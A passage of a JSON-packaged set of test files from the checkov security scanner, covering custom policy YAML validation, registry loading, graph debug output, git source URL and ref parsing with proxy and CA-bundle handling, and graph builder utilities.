    "path": "tests/common/checks_infra/examples/missing_metadata_category.yaml",
    "content": "metadata:\n  name: \"Ensure Lambda function runs with Python 3.9\"\n  id: CUSTOM_1\ndefinition:\n  cond_type: attribute\n  resource_types:\n    - aws_lambda_function\n  attribute: runtime\n  operator: equals\n  value: python3.9\n"
  },
  {
    "path": "tests/common/checks_infra/examples/valid_check.yaml",
    "content": "metadata:\n  name: \"Ensure Lambda function runs with Python 3.9\"\n  id: CUSTOM_1\n  category: \"GENERAL_SECURITY\"\n  severity: HIGH\ndefinition:\n  cond_type: attribute\n  resource_types:\n    - aws_lambda_function\n  attribute: runtime\n  operator: equals\n  value: python3.9\n"
  },
  {
    "path": "tests/common/checks_infra/examples/valid_check_tf.yaml",
    "content": "metadata:\n  name: \"Ensure aws_s3_bucket is not us-east-1\"\n  id: CUSTOM_SEVERITY\n  category: \"GENERAL_SECURITY\"\n  severity: HIGH\ndefinition:\n  cond_type: attribute\n  resource_types:\n    - aws_s3_bucket\n  attribute: region\n  operator: not_equals\n  value: us-east-1\n"
  },
  {
    "path": "tests/common/checks_infra/examples/valid_check_tf_without_severity.yaml",
    "content": "metadata:\n  name: \"Ensure aws_s3_bucket is not us-east-1\"\n  id: CUSTOM_WITHOUT_SEVERITY\n  category: \"GENERAL_SECURITY\"\ndefinition:\n  cond_type: attribute\n  resource_types:\n    - aws_s3_bucket\n  attribute: region\n  operator: not_equals\n  value: us-east-1\n"
  },
  {
    "path": "tests/common/checks_infra/test-registry-data/invalid-yaml/data-not.yaml",
    "content": "test\n"
  },
  {
    "path": "tests/common/checks_infra/test-registry-data/invalid-yaml/empty.yaml",
    "content": ""
  },
  {
    "path": "tests/common/checks_infra/test-registry-data/valid-yaml-invalid-check/yaml.yaml",
    "content": "test: test\n"
  },
  {
    "path": "tests/common/checks_infra/test_checks_parser.py",
    "content": "from pathlib import Path\n\nimport yaml\nfrom _pytest.logging import LogCaptureFixture\n\nfrom checkov.common.checks_infra.checks_parser import GraphCheckParser\nfrom checkov.common.checks_infra.resources_types import resources_types as raw_resources_types\n\nEXAMPLES_DIR = Path(__file__).parent / \"examples\"\n\n\ndef test_validate_check_config(caplog: LogCaptureFixture):\n    # given\n    file_path = EXAMPLES_DIR / \"valid_check.yaml\"\n    check_yaml = yaml.safe_load(file_path.read_text())\n\n    # when\n    valid = GraphCheckParser().validate_check_config(file_path=str(file_path), raw_check=check_yaml)\n\n    # then\n    assert valid\n    assert len(caplog.messages) == 0\n\n\ndef test_validate_check_config_missing_metadata(caplog: LogCaptureFixture):\n    # given\n    file_path = EXAMPLES_DIR / \"missing_metadata.yaml\"\n    check_yaml = yaml.safe_load(file_path.read_text())\n\n    # when\n    valid = GraphCheckParser().validate_check_config(file_path=str(file_path), raw_check=check_yaml)\n\n    # then\n    assert not valid\n    assert caplog.messages == [\n        f\"Custom policy {file_path} is missing required fields metadata.id, metadata.name, metadata.category\"\n    ]\n\n\ndef test_validate_check_config_missing_metadata_category(caplog: LogCaptureFixture):\n    # given\n    file_path = EXAMPLES_DIR / \"missing_metadata_category.yaml\"\n    check_yaml = yaml.safe_load(file_path.read_text())\n\n    # when\n    valid = GraphCheckParser().validate_check_config(file_path=str(file_path), raw_check=check_yaml)\n\n    # then\n    assert not valid\n    assert caplog.messages == [f\"Custom policy {file_path} is missing required fields metadata.category\"]\n\n\ndef test_validate_check_config_missing_definition(caplog: LogCaptureFixture):\n    # given\n    file_path = EXAMPLES_DIR / \"missing_definition.yaml\"\n    check_yaml = yaml.safe_load(file_path.read_text())\n\n    # when\n    valid = GraphCheckParser().validate_check_config(file_path=str(file_path), raw_check=check_yaml)\n\n    # then\n    assert not valid\n    assert caplog.messages == [f\"Custom policy {file_path} is missing required fields definition\"]\n\n\ndef test_validate_check_config_invalid_definition(caplog: LogCaptureFixture):\n    # given\n    file_path = EXAMPLES_DIR / \"invalid_definition.yaml\"\n    check_yaml = yaml.safe_load(file_path.read_text())\n\n    # when\n    valid = GraphCheckParser().validate_check_config(file_path=str(file_path), raw_check=check_yaml)\n\n    # then\n    assert not valid\n    assert caplog.messages == [\n        f\"Custom policy {file_path} has an invalid 'definition' block type 'NoneType', \"\n        \"needs to be either a 'list' or 'dict'\"\n    ]\n\ndef test_parse_taggable_resource_string():\n    parser = GraphCheckParser()\n    raw_check = {\"resource_types\": \"taggable\"}\n    providers = [\"aws\"]\n    check = parser._parse_raw_check(raw_check, [], providers)\n    assert check.resource_types == raw_resources_types.get(\"aws_taggable\")\n\ndef test_parse_taggable_resource_list():\n    parser = GraphCheckParser()\n    raw_check = {\"resource_types\": [\"taggable\"]}\n    providers = [\"azure\"]\n    check = parser._parse_raw_check(raw_check, [], providers)\n    assert check.resource_types == raw_resources_types.get(\"azure_taggable\")\n"
  },
  {
    "path": "tests/common/checks_infra/test_debug.py",
    "content": "from __future__ import annotations\n\nfrom textwrap import dedent\n\nimport pytest\nfrom _pytest.capture import CaptureFixture\n\nfrom checkov.common.graph.checks_infra.debug import attribute_block, graph_check, connection_block\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.util.env_vars_config import env_vars_config\n\n\n@pytest.fixture\ndef enable_graph_debug():\n    env_vars_config.EXPERIMENTAL_GRAPH_DEBUG = True\n    yield\n    env_vars_config.EXPERIMENTAL_GRAPH_DEBUG = False\n\n\ndef test_no_output_on_default(capfd: CaptureFixture[str]):\n    # given/when\n    graph_check(check_id=\"CKV_EXAMPLE_1\", check_name=\"Example\")\n\n    # then\n    assert not capfd.readouterr().out\n\n\ndef test_attribute_block(capfd: CaptureFixture[str], enable_graph_debug):\n    # given\n    resource_types = [\"aws_s3_bucket\"]\n    attribute = \"lifecycle_rule\"\n    operator = Operators.EXISTS\n    value = None\n    resource = {\n        CustomAttributes.ID: \"aws_s3_bucket.example\",\n        CustomAttributes.CONFIG: {\n            \"aws_s3_bucket\": {\n                \"example\": {\n                    \"__end_line__\": 3,\n                    \"__start_line__\": 1,\n                    \"bucket\": [\"example\"],\n                    \"__address__\": \"aws_s3_bucket.example\",\n                }\n            }\n        },\n    }\n    status = \"failed\"\n\n    # when\n    attribute_block(\n        resource_types=resource_types,\n        attribute=attribute,\n        operator=operator,\n        value=value,\n        resource=resource,\n        status=status,\n    )\n\n    # then\n    assert capfd.readouterr().out == dedent(\n        \"\"\"\n        Evaluated block:\n        \n        - cond_type: attribute\n          resource_types:\n          - aws_s3_bucket\n          attribute: lifecycle_rule\n          operator: exists\n        \n        and got:\n        \n        Resource \"aws_s3_bucket.example\" failed:\n        {\n          \"aws_s3_bucket\": {\n            \"example\": {\n              \"__end_line__\": 3,\n              \"__start_line__\": 1,\n              \"bucket\": [\n                \"example\"\n              ],\n              \"__address__\": \"aws_s3_bucket.example\"\n            }\n          }\n        }\n        \"\"\"\n    )\n\n\ndef test_connection_block(capfd: CaptureFixture[str], enable_graph_debug):\n    # given\n    resource_types = [\"aws_s3_bucket\"]\n    connected_resource_types = [\"aws_s3_bucket_lifecycle_configuration\"]\n    operator = Operators.EXISTS\n    value = None\n    passed_resources = [\n        {\n            CustomAttributes.ID: \"aws_s3_bucket.good\",\n        },\n        {\n            CustomAttributes.ID: \"aws_s3_bucket_lifecycle_configuration.good\",\n        },\n    ]\n    failed_resources = [\n        {\n            CustomAttributes.ID: \"aws_s3_bucket.bad\",\n        }\n    ]\n\n    # when\n    connection_block(\n        resource_types=resource_types,\n        connected_resource_types=connected_resource_types,\n        operator=operator,\n        passed_resources=passed_resources,\n        failed_resources=failed_resources,\n    )\n\n    # then\n    assert capfd.readouterr().out == dedent(\n        \"\"\"\n        Evaluated blocks:\n        \n        - cond_type: connection\n          resource_types:\n          - aws_s3_bucket\n          connected_resource_types:\n          - aws_s3_bucket_lifecycle_configuration\n          operator: exists\n        \n        and got:\n        \n        Passed resources: \"aws_s3_bucket.good\", \"aws_s3_bucket_lifecycle_configuration.good\"\n        Failed resources: \"aws_s3_bucket.bad\"\n        \"\"\"\n    )\n"
  },
  {
    "path": "tests/common/checks_infra/test_registry.py",
    "content": "import os\nimport unittest\n\nfrom checkov.common.checks_infra.registry import Registry\nfrom checkov.common.checks_infra.checks_parser import GraphCheckParser\n\n\nclass TestRegistry(unittest.TestCase):\n    def test_invalid_check_yaml_does_not_throw_exception(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = current_dir + \"/test-registry-data/invalid-yaml\"\n        r = Registry(checks_dir=test_files_dir)\n        r.load_checks()\n\n    def test_valid_yaml_but_invalid_check_does_not_throw_exception(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = current_dir + \"/test-registry-data/valid-yaml-invalid-check\"\n        r = Registry(checks_dir=test_files_dir, parser=GraphCheckParser())\n        r.load_checks()\n"
  },
  {
    "path": "tests/common/conftest.py",
    "content": "from __future__ import annotations\n\nimport pytest\n\nfrom checkov.common.bridgecrew.bc_source import SourceType\nfrom checkov.common.bridgecrew.platform_integration import BcPlatformIntegration, bc_integration\n\n\n@pytest.fixture()\ndef mock_bc_integration() -> BcPlatformIntegration:\n    bc_integration.bc_api_key = \"abcd1234-abcd-1234-abcd-1234abcd1234\"\n    bc_integration.api_url = 'https://www.bridgecrew.cloud'\n    bc_integration.setup_bridgecrew_credentials(\n        repo_id=\"bridgecrewio/checkov\",\n        skip_fixes=True,\n        skip_download=True,\n        source=SourceType(\"Github\", False),\n        source_version=\"1.0\",\n        repo_branch=\"master\",\n    )\n    return bc_integration\n"
  },
  {
    "path": "tests/common/goget/__init__.py",
    "content": ""
  },
  {
    "path": "tests/common/goget/local_getter.py",
    "content": "import logging\n\nfrom checkov.common.goget.base_getter import BaseGetter\n\n\nclass LocalGetter(BaseGetter):\n    def __init__(self, url):\n        self.logger = logging.getLogger(__name__)\n        super().__init__(url)\n\n    def do_get(self):\n\n        return self.temp_dir\n"
  },
  {
    "path": "tests/common/goget/test_goget_base.py",
    "content": "import os\nimport unittest\n\nfrom tests.common.goget.local_getter import LocalGetter\n\n\nclass TestBaseGetter(unittest.TestCase):\n\n    def test_directory_creation(self):\n        current_dir = os.getcwd()\n        getter = LocalGetter(current_dir)\n        result_dir = getter.get()\n        print(current_dir)\n        print(result_dir)\n        self.assertIn(current_dir, result_dir)\n\n        # Cleanup\n        os.rmdir(getter.temp_dir)\n\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/common/goget/test_goget_github.py",
    "content": "import unittest\n\nfrom unittest.mock import patch, Mock, mock_open\nimport shutil\nimport os\n\nfrom checkov.common.goget.github.get_git import GitGetter\n\n\nclass TestGitGetter(unittest.TestCase):\n    def test_parse_source(self):\n        url = \"https://my-git.com/repository-name/\"\n        getter = GitGetter(url)\n        git_url, subdir = getter._source_subdir()\n        self.assertEqual(\"https://my-git.com/repository-name/\", git_url, \"Parsed source url should contain hostname and path\")\n        self.assertEqual(\"\", subdir, \"Parsed source subdirectory should be empty\")\n\n    def test_parse_source_and_subdirectory(self):\n        url = \"https://my-git.com/repository-name.git//sub/path\"\n        getter = GitGetter(url)\n        git_url, subdir = getter._source_subdir()\n        self.assertEqual(\"https://my-git.com/repository-name.git\", git_url, \"Parsed source url should contain hostname and path\")\n        self.assertEqual(\"/sub/path\", subdir, \"Parsed source subdirectory should contain absolute (sub)path\")\n\n    def test_parse_source_and_subdirectory_without_git(self):\n        url = \"https://my-git.com/repository-name//sub/path\"\n        getter = GitGetter(url)\n        git_url, subdir = getter._source_subdir()\n        self.assertEqual(\"https://my-git.com/repository-name\", git_url, \"Parsed source url should contain hostname and path\")\n        self.assertEqual(\"/sub/path\", subdir, \"Parsed source subdirectory should contain absolute (sub)path\")\n\n    def test_parse_source_with_query(self):\n        url = \"https://my-git.com/repository-name?key=value\"\n        getter = GitGetter(url)\n        git_url, subdir = getter._source_subdir()\n        self.assertEqual(\"https://my-git.com/repository-name?key=value\", git_url, \"Parsed source url should contain hostname, path and query\")\n        self.assertEqual(\"\", subdir, \"Parsed source subdirectory should be empty\")\n\n    def test_parse_source_and_subdirectory_with_query(self):\n        url = \"https://my-git.com/repository-name//sub/path?key=value\"\n        getter = GitGetter(url)\n        git_url, subdir = getter._source_subdir()\n        self.assertEqual(\"https://my-git.com/repository-name?key=value\", git_url, \"Parsed source url should contain hostname, path and query\")\n        self.assertEqual(\"/sub/path\", subdir, \"Parsed source subdirectory should contain absolute (sub)path\")\n\n    def test_parse_source_without_scheme(self):\n        url = \"my-git.com/repository-name\"\n        getter = GitGetter(url)\n        git_url, subdir = getter._source_subdir()\n        self.assertEqual(\"my-git.com/repository-name\", git_url, \"Parsed source url should contain hostname and path\")\n        self.assertEqual(\"\", subdir, \"Parsed source subdirectory should be empty\")\n\n    def test_parse_source_and_subdirectory_without_scheme(self):\n        url = \"my-git.com/repository-name//sub/path\"\n        getter = GitGetter(url)\n        git_url, subdir = getter._source_subdir()\n        self.assertEqual(\"my-git.com/repository-name\", git_url, \"Parsed source url should contain hostname and path\")\n        self.assertEqual(\"/sub/path\", subdir, \"Parsed source subdirectory should contain absolute (sub)path\")\n\n    def test_parse_source_with_query_without_scheme(self):\n        url = \"my-git.com/repository-name?key=value\"\n        getter = GitGetter(url)\n        git_url, subdir = getter._source_subdir()\n        self.assertEqual(\"my-git.com/repository-name?key=value\", git_url, \"Parsed source url should contain hostname, path and query\")\n        self.assertEqual(\"\", subdir, \"Parsed source subdirectory should be empty\")\n\n    def test_parse_source_and_subdirectory_with_query_without_scheme(self):\n        url = \"my-git.com/repository-name//sub/path?key=value\"\n        getter = GitGetter(url)\n        git_url, subdir = getter._source_subdir()\n        self.assertEqual(\"my-git.com/repository-name?key=value\", git_url, \"Parsed source url should contain hostname, path and query\")\n        self.assertEqual(\"/sub/path\", subdir, \"Parsed source subdirectory should contain absolute (sub)path\")\n\n    def test_parse_tag(self):\n        url = \"https://my-git.com/owner/repository-name?ref=tags/v1.2.3\"\n        getter = GitGetter(url)\n        git_url = getter.extract_git_ref(url)\n\n        self.assertEqual(\"https://my-git.com/owner/repository-name\", git_url,\n                         \"Parsed source url is wrong\")\n        self.assertEqual(\"v1.2.3\", getter.tag, \"Parsed source tag is wrong\")\n\n    def test_parse_tag_backward_compat(self):\n        url = \"https://my-git.com/owner/repository-name?ref=v1.2.3\"\n        getter = GitGetter(url)\n        git_url = getter.extract_git_ref(url)\n\n        self.assertEqual(\"https://my-git.com/owner/repository-name\", git_url,\n                         \"Parsed source url is wrong\")\n        self.assertEqual(\"v1.2.3\", getter.tag, \"Parsed source tag is wrong\")\n\n    def test_parse_branch(self):\n        url = \"https://my-git.com/owner/repository-name?ref=heads/omryBranch\"\n        getter = GitGetter(url)\n        git_url = getter.extract_git_ref(url)\n\n        self.assertEqual(\"https://my-git.com/owner/repository-name\", git_url,\n                         \"Parsed source url is wrong\")\n        self.assertEqual(\"omryBranch\", getter.branch, \"Parsed source branch is wrong\")\n\n    def test_parse_commit_id(self):\n        url = \"https://my-git.com/owner/repository-name?ref=aa218f56b14c9653891f9e74264a383fa43fefbd\"\n        getter = GitGetter(url)\n        git_url = getter.extract_git_ref(url)\n\n        self.assertEqual(\"https://my-git.com/owner/repository-name\", git_url,\n                         \"Parsed source url is wrong\")\n        self.assertEqual(\"aa218f56b14c9653891f9e74264a383fa43fefbd\", getter.commit_id,\n                         \"Parsed source commit_id is wrong\")\n\n    def test_parse_shortened_commit_id(self):\n        \"\"\"Test parsing of shortened git commit IDs (5-39 characters).\"\"\"\n        url = \"https://my-git.com/owner/repository-name?ref=aa218\"\n        getter = GitGetter(url)\n        git_url = getter.extract_git_ref(url)\n\n        self.assertEqual(\n            \"https://my-git.com/owner/repository-name\", git_url, \"Parsed source url is wrong for 5-char commit\"\n        )\n        self.assertEqual(\"aa218\", getter.commit_id, \"Parsed source commit_id is wrong for 5-char commit\")\n\n    @patch('checkov.common.goget.github.get_git.Repo')\n    @patch('shutil.copytree')\n    @patch('os.makedirs')\n    def test_do_get_success_with_create_dirs(self, mock_makedirs, mock_copytree, mock_repo):\n        \"\"\"\n        Test do_get when create_clone_and_result_dirs is True.\n        \"\"\"\n        # Arrange\n        url = \"https://my-git.com/repo\"\n        getter = GitGetter(url, create_clone_and_result_dirs=True)\n        getter.temp_dir = \"/tmp/test\"\n        mock_repo_instance = Mock()\n        mock_repo.clone_from.return_value = mock_repo_instance\n\n        # Act\n        result_dir = getter.do_get()\n\n        # Assert\n        self.assertEqual(\"/tmp/test/result/\", result_dir)\n        mock_repo.clone_from.assert_called_once_with(url, \"/tmp/test/clone/\", depth=1)\n        mock_copytree.assert_called_once_with(\"/tmp/test/clone/\", \"/tmp/test/result/\")\n        mock_makedirs.assert_not_called()\n\n    @patch('checkov.common.goget.github.get_git.Repo')\n    @patch('shutil.copytree')\n    @patch('os.makedirs')\n    def test_do_get_success_without_create_dirs(self, mock_makedirs, mock_copytree, mock_repo):\n        \"\"\"\n        Test do_get when create_clone_and_result_dirs is False.\n        \"\"\"\n        # Arrange\n        url = \"https://my-git.com/repo\"\n        getter = GitGetter(url, create_clone_and_result_dirs=False)\n        getter.temp_dir = \"/tmp/test\"\n        mock_repo_instance = Mock()\n        mock_repo.clone_from.return_value = mock_repo_instance\n\n        # Act\n        result_dir = getter.do_get()\n\n        # Assert\n        self.assertEqual(\"/tmp/test\", result_dir)\n        mock_repo.clone_from.assert_called_once_with(url, \"/tmp/test\", depth=1)\n        mock_copytree.assert_not_called()\n        mock_makedirs.assert_not_called()\n\n    @patch('checkov.common.goget.github.get_git.git_import_error', ImportError(\"Mock git import error\"))\n    def test_do_get_import_error(self):\n        \"\"\"Test the case where the git module fails to import.\"\"\"\n        url = \"https://my-git.com/repo\"\n        getter = GitGetter(url)\n        with self.assertRaises(ImportError) as context:\n            getter.do_get()\n        self.assertEqual(\"Unable to load git module (is the git executable available?)\", str(context.exception))\n\n    @patch('checkov.common.goget.github.get_git.Repo')\n    @patch('checkov.common.goget.github.get_git.env_vars_config')\n    def test_clone_with_bc_ca_bundle(self, mock_env_vars_config, mock_repo):\n        \"\"\"Test that BC_CA_BUNDLE env var sets GIT_SSL_CAINFO for git clone.\"\"\"\n        # Arrange\n        mock_env_vars_config.BC_CA_BUNDLE = '/path/to/ca-bundle.crt'\n        mock_env_vars_config.PROXY_URL = None\n\n        url = \"https://my-git.com/repo\"\n        getter = GitGetter(url, create_clone_and_result_dirs=False)\n        getter.temp_dir = \"/tmp/test\"\n        mock_repo_instance = Mock()\n        mock_repo.clone_from.return_value = mock_repo_instance\n\n        captured_env = {}\n\n        def capture_env(*args, **kwargs):\n            captured_env['GIT_SSL_CAINFO'] = os.environ.get('GIT_SSL_CAINFO')\n            return mock_repo_instance\n\n        mock_repo.clone_from.side_effect = capture_env\n\n        # Act\n        getter.do_get()\n\n        # Assert\n        self.assertEqual('/path/to/ca-bundle.crt', captured_env.get('GIT_SSL_CAINFO'))\n        mock_repo.clone_from.assert_called_once()\n\n    @patch('checkov.common.goget.github.get_git.Repo')\n    @patch('checkov.common.goget.github.get_git.env_vars_config')\n    def test_clone_without_bc_ca_bundle(self, mock_env_vars_config, mock_repo):\n        \"\"\"Test that clone works without BC_CA_BUNDLE env var.\"\"\"\n        # Arrange\n        mock_env_vars_config.BC_CA_BUNDLE = None\n        mock_env_vars_config.PROXY_URL = None\n\n        url = \"https://my-git.com/repo\"\n        getter = GitGetter(url, create_clone_and_result_dirs=False)\n        getter.temp_dir = \"/tmp/test\"\n        mock_repo_instance = Mock()\n        mock_repo.clone_from.return_value = mock_repo_instance\n\n        captured_env = {}\n\n        def capture_env(*args, **kwargs):\n            captured_env['GIT_SSL_CAINFO'] = os.environ.get('GIT_SSL_CAINFO')\n            return mock_repo_instance\n\n        mock_repo.clone_from.side_effect = capture_env\n\n        # Act\n        getter.do_get()\n\n        # Assert\n        self.assertIsNone(captured_env.get('GIT_SSL_CAINFO'))\n        mock_repo.clone_from.assert_called_once()\n\n    @patch('checkov.common.goget.github.get_git.Repo')\n    @patch('checkov.common.goget.github.get_git.env_vars_config')\n    def test_clone_proxy_takes_precedence_over_bc_ca_bundle(self, mock_env_vars_config, mock_repo):\n        \"\"\"Test that PROXY_URL settings take precedence over BC_CA_BUNDLE.\"\"\"\n        # Arrange\n        mock_env_vars_config.PROXY_URL = 'http://proxy.example.com:8080'\n        mock_env_vars_config.PROXY_CA_PATH = '/path/to/proxy-ca.crt'\n        mock_env_vars_config.PROXY_HEADER_KEY = 'X-Custom-Header'\n        mock_env_vars_config.PROXY_HEADER_VALUE = 'custom-value'\n        mock_env_vars_config.BC_CA_BUNDLE = '/path/to/ca-bundle.crt'\n\n        url = \"https://my-git.com/repo\"\n        getter = GitGetter(url, create_clone_and_result_dirs=False)\n        getter.temp_dir = \"/tmp/test\"\n        mock_repo_instance = Mock()\n        mock_repo.clone_from.return_value = mock_repo_instance\n\n        captured_env = {}\n\n        def capture_env(*args, **kwargs):\n            captured_env['GIT_SSL_CAINFO'] = os.environ.get('GIT_SSL_CAINFO')\n            captured_env['https_proxy'] = os.environ.get('https_proxy')\n            return mock_repo_instance\n\n        mock_repo.clone_from.side_effect = capture_env\n\n        # Act\n        getter.do_get()\n\n        # Assert - PROXY_CA_PATH should be used, not BC_CA_BUNDLE\n        self.assertEqual('/path/to/proxy-ca.crt', captured_env.get('GIT_SSL_CAINFO'))\n        self.assertEqual('http://proxy.example.com:8080', captured_env.get('https_proxy'))\n        mock_repo.clone_from.assert_called_once()\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/common/graph/__init__.py",
    "content": ""
  },
  {
    "path": "tests/common/graph/checks/__init__.py",
    "content": ""
  },
  {
    "path": "tests/common/graph/checks/test_block.py",
    "content": "import pytest\n\nfrom checkov.common.graph.graph_builder.graph_components.blocks import Block\n\n\n@pytest.mark.parametrize(\"input_key, expected_key\", (\n        (\"a.b\", \"$.a.b\"),\n        (\"a.0\", \"$.a[0]\"),\n        (\"a.0.b.1.2.c\", \"$.a[0].b[1][2].c\"),\n        (\"a.0./mock-part-of-key.d.e.1\", \"$.a[0].\\\"/mock-part-of-key\\\".d.e[1]\"),\n        (\"a.0.Fn::Region.d.e.1\", \"$.a[0].\\\"Fn::Region\\\".d.e[1]\")\n))\ndef test__get_jsonpath_key(input_key: str, expected_key: str) -> None:\n    result = Block._get_jsonpath_key(input_key)\n    assert result == expected_key\n"
  },
  {
    "path": "tests/common/graph/checks/test_policy_packaging.py",
    "content": "from pathlib import Path\n\n\ndef test_graph_policies_packaging_requirements() -> None:\n    \"\"\"Checks, if all graph_checks folder have a __init__.py file\n\n    It is needed to add a __init__.py in the base of a folder\n    to treat it as a module and indicate Python to add it during\n    installation of the package.\n    \"\"\"\n\n    root_dir = Path(__file__).parents[4]\n\n    for graph_dir in root_dir.rglob(\"graph_checks\"):\n        if \".mypy_cache\" in graph_dir.parts:\n            # skip paths, which are related to mypy\n            continue\n\n        assert (graph_dir / \"__init__.py\").exists()\n"
  },
  {
    "path": "tests/common/graph/checks/test_yaml_policies_base.py",
    "content": "from __future__ import annotations\n\nimport itertools\nimport json\nimport os\nfrom pathlib import Path\n\nimport yaml\nfrom abc import abstractmethod\nfrom typing import List, Optional, Any\nfrom unittest import TestCase\n\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.common.checks_infra.checks_parser import GraphCheckParser\nfrom checkov.common.checks_infra.registry import Registry\nfrom checkov.common.graph.graph_manager import GraphManager\nfrom checkov.common.output.record import Record\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestYamlPoliciesBase(TestCase):\n    def __init__(self, graph_manager: GraphManager, real_graph_checks_path: str,\n                 test_checks_path: Optional[str], check_type: str, test_file_path: str,\n                 args):\n        super().__init__(args)\n        self.check_type = check_type\n        self.real_graph_checks_path = real_graph_checks_path\n        self.checks_dir = test_checks_path\n        self.test_file_path = test_file_path\n        self.graph_manager = graph_manager\n\n    def go(self, dir_name, check_name=None, local_graph_class=None):\n        dir_path = os.path.join(os.path.dirname(os.path.realpath(self.test_file_path)),\n                                f\"resources/{dir_name}\")\n        assert os.path.exists(dir_path)\n        if self.checks_dir:\n            assert os.path.exists(self.checks_dir)\n        found = False\n        for root, d_names, f_names in itertools.chain(os.walk(self.real_graph_checks_path), os.walk(self.checks_dir)):\n            for f_name in f_names:\n                check_name = dir_name if check_name is None else check_name\n                if f_name == f\"{check_name}.yaml\":\n                    found = True\n                    policy = load_yaml_data(f_name, root)\n                    assert policy is not None\n                    expected = load_yaml_data(\"expected.yaml\", dir_path)\n                    assert expected is not None\n                    report = self.get_policy_results(dir_path, policy, local_graph_class)\n                    expected = load_yaml_data(\"expected.yaml\", dir_path)\n\n                    expected_to_fail = expected.get('fail', [])\n                    expected_to_pass = expected.get('pass', [])\n                    expected_to_skip = expected.get('skip', [])\n                    expected_evaluated_keys = expected.get('evaluated_keys', [])\n                    self.assert_entities(expected_to_pass, report.passed_checks, True)\n                    self.assert_entities(expected_to_fail, report.failed_checks, False)\n                    self.assert_entities(expected_to_skip, report.skipped_checks, True)\n                    self.assert_evaluated_keys(expected_evaluated_keys, report.passed_checks + report.failed_checks)\n\n        assert found\n\n    def assert_entities(self, expected_entities: List[str], results: List[Record], assertion: bool):\n        self.assertEqual(len(expected_entities), len(results),\n                         f\"mismatch in number of results in {'passed' if assertion else 'failed'}, \"\n                         f\"expected: {len(expected_entities)}, got: {len(results)}\")\n        for expected_entity in expected_entities:\n            found = False\n            for check_result in results:\n                entity_id = check_result.resource\n                if entity_id == expected_entity:\n                    found = True\n                    break\n            self.assertTrue(found, f\"expected to find entity {expected_entity}, {'passed' if assertion else 'failed'}\")\n\n    def get_policy_results(self, root_folder, policy, local_graph_class=None):\n        check_id = policy['metadata']['id']\n        local_graph, _ = self.graph_manager.build_graph_from_source_directory(\n            source_dir=root_folder,\n            local_graph_class=local_graph_class,\n        )\n        graph = self.graph_manager.save_graph(local_graph)\n        registry = self.get_checks_registry()\n        checks_results = registry.run_checks(graph, RunnerFilter(checks=[check_id]), None)\n        return self.create_report_from_graph_checks_results(checks_results, policy['metadata'])\n\n    def get_checks_registry(self):\n        registry = Registry(parser=GraphCheckParser(), checks_dir=self.real_graph_checks_path)\n        registry.load_checks()\n        if self.checks_dir:\n            registry.load_external_checks(self.checks_dir)\n        return registry\n\n    @abstractmethod\n    def create_report_from_graph_checks_results(self, checks_results, check):\n        pass\n\n    @abstractmethod\n    def assert_evaluated_keys(self, checks_results, check):\n        pass\n\n\ndef load_yaml_data(source_file_name: str | Path, dir_path: str | Path) -> Any:\n    expected_path = os.path.join(dir_path, source_file_name)\n    if not os.path.exists(expected_path):\n        return None\n\n    with open(expected_path, \"r\") as f:\n        expected_data = yaml.safe_load(f)\n\n    return json.loads(json.dumps(expected_data))\n\n\ndef get_expected_results_by_file_name(test_dir: str | Path) -> (list[str], list[str]):\n    if not os.path.exists(test_dir):\n        return None\n    expected_fail = []\n    expected_pass = []\n    for root, d_names, f_names in os.walk(test_dir):\n        for file in f_names:\n            if file.startswith('fail'):\n                expected_fail.append(file)\n            elif file.startswith('pass'):\n                expected_pass.append(file)\n            else:\n                raise NameError('yaml test files should start with either pass / fail')\n\n    return (expected_fail, expected_pass)\n\n\ndef get_policy_results(root_folder, policy):\n    check_id = policy['metadata']['id']\n    graph_runner = Runner()\n    report = graph_runner.run(root_folder, runner_filter=RunnerFilter(checks=[check_id]))\n    return report"
  },
  {
    "path": "tests/common/graph/graph_builder/test_graph_builder_utils.py",
    "content": "import pytest\n\nfrom checkov.common.graph.graph_builder.utils import update_dictionary_attribute, join_double_quote_surrounded_dot_split\n\n@pytest.mark.parametrize(\n    \"input_parts,expected_parts\",\n    [\n        (\n            [\"google_project_iam_binding\", 'role[\"roles/logging', 'admin\"]'],\n            [\"google_project_iam_binding\", 'role[\"roles/logging.admin\"]'],\n        ),\n        (\n            [\"module\", \"google_project_iam_binding\", 'role[\"roles/logging', 'admin\"]'],\n            [\"module\", \"google_project_iam_binding\", 'role[\"roles/logging.admin\"]'],\n        ),\n        (\n            [\n                \"module\",\n                \"google_project_iam_binding\",\n                'role[\"roles/logging',\n                'admin\"]',\n                \"module\",\n                \"google_project_iam_binding\",\n                'role[\"roles/logging',\n                'admin\"]',\n            ],\n            [\n                \"module\",\n                \"google_project_iam_binding\",\n                'role[\"roles/logging.admin\"]',\n                \"module\",\n                \"google_project_iam_binding\",\n                'role[\"roles/logging.admin\"]',\n            ],\n        ),\n    ],\n    ids=[\"resource\", \"module_resource\", \"complex\"],\n)\ndef test_join_double_quote_surrounded_dot_split(input_parts, expected_parts):\n    assert join_double_quote_surrounded_dot_split(str_parts=input_parts) == expected_parts\n\ndef test_update_dictionary_attribute_nested():\n    origin_config = {'aws_s3_bucket': {\n        'destination': {'bucket': ['tf-test-bucket-destination-12345'], 'acl': ['${var.acl}'],\n                        'versioning': [{'enabled': ['${var.is_enabled}']}]}}}\n    key_to_update = 'versioning.enabled'\n    new_value = [False]\n    expected_config = {'aws_s3_bucket': {\n        'destination': {'bucket': ['tf-test-bucket-destination-12345'], 'acl': ['${var.acl}'],\n                        'versioning': [{'enabled': [False]}]}}}\n    actual_config = update_dictionary_attribute(origin_config, key_to_update, new_value)\n    assert expected_config == actual_config, f'failed to update config. expected: {expected_config}, got: {actual_config}'\n\n\ndef test_update_dictionary_attribute():\n    origin_config = {'aws_s3_bucket': {\n        'destination': {'bucket': ['tf-test-bucket-destination-12345'], 'acl': ['${var.acl}'],\n                        'versioning': [{'enabled': ['${var.is_enabled}']}]}}}\n    key_to_update = 'acl'\n    new_value = ['public-read']\n    expected_config = {'aws_s3_bucket': {\n        'destination': {'bucket': ['tf-test-bucket-destination-12345'], 'acl': ['public-read'],\n                        'versioning': 